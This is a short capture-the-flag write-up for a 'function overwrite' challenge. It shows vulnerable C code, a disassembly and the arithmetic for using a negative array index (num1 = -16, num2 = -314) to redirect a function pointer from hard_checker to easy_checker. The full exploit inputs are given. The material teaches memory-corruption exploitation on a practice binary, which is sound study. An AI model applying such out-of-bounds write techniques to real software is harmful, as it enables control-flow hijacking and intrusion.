Skip to content

function overwrite

The program takes a story (max. 127 characters as input), and passes it onto the function pointed to by check \ In normal flow, check points to hard_checker(), which is impossible to pass by a 127-byte story \ On the other hand, easy_checker() can be passed; so must find a way to overwrite check to point to easy_checker()

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
scanf("%d %d", &num1, &num2);

if (num1 < 10)
{
    fun[num1] += num2;
}

check(story, strlen(story));

Hint: Don't be so negative

We can pass appropriate negative value in num1 to overwrite check

Dump of assembler code for vuln():

    .
    .
    0x080495df <+111>:  call   0x8049180 <__isoc99_scanf@plt>
    0x080495e4 <+116>:  add    esp,0x10
    0x080495e7 <+119>:  mov    eax,DWORD PTR [ebp-0x8c]

    if (num1 < 10)
    0x080495ed <+125>:  cmp    eax,0x9
    0x080495f0 <+128>:  jg     0x8049614 <vuln+164>

    fun[num1] += num2
    0x080495f2 <+130>:  mov    eax,DWORD PTR [ebp-0x8c]
    0x080495f8 <+136>:  mov    ecx,DWORD PTR [ebx+eax*4+0x80]
    0x080495ff <+143>:  mov    edx,DWORD PTR [ebp-0x90]
    0x08049605 <+149>:  mov    eax,DWORD PTR [ebp-0x8c]
    0x0804960b <+155>:  add    edx,ecx
    0x0804960d <+157>:  mov    DWORD PTR [ebx+eax*4+0x80],edx

    check(story, strlen(story));
    0x08049614 <+164>:  mov    esi,DWORD PTR [ebx+0x40]
    0x0804961a <+170>:  sub    esp,0xc
    0x0804961d <+173>:  lea    eax,[ebp-0x88]
    0x08049623 <+179>:  push   eax
    0x08049624 <+180>:  call   0x8049140 <strlen@plt>
    0x08049629 <+185>:  add    esp,0x10
    0x0804962c <+188>:  sub    esp,0x8
    0x0804962f <+191>:  push   eax
    0x08049630 <+192>:  lea    eax,[ebp-0x88]
    0x08049636 <+198>:  push   eax
    0x08049637 <+199>:  call   esi
    .
    .
    .
mov    DWORD PTR [ebx+eax*4+0x80],edx
mov    esi,DWORD PTR [ebx+0x40]

fun[] is at ebx+0x80, checker is at ebx+0x40 \ eax = -16 -> ebx+eax*4+0x80 = ebx+0x40

Got the location to overwrite, now what should be num2 to get the desired function overwrite? \ easy_checker() is at 0x080492fc, hard_checker() is at 0x08049436; difference = 314

Final input:

  • story = 'A'*20 + '%' (65*20 + 37 = 1337)
  • num1 = -16
  • num2 = -314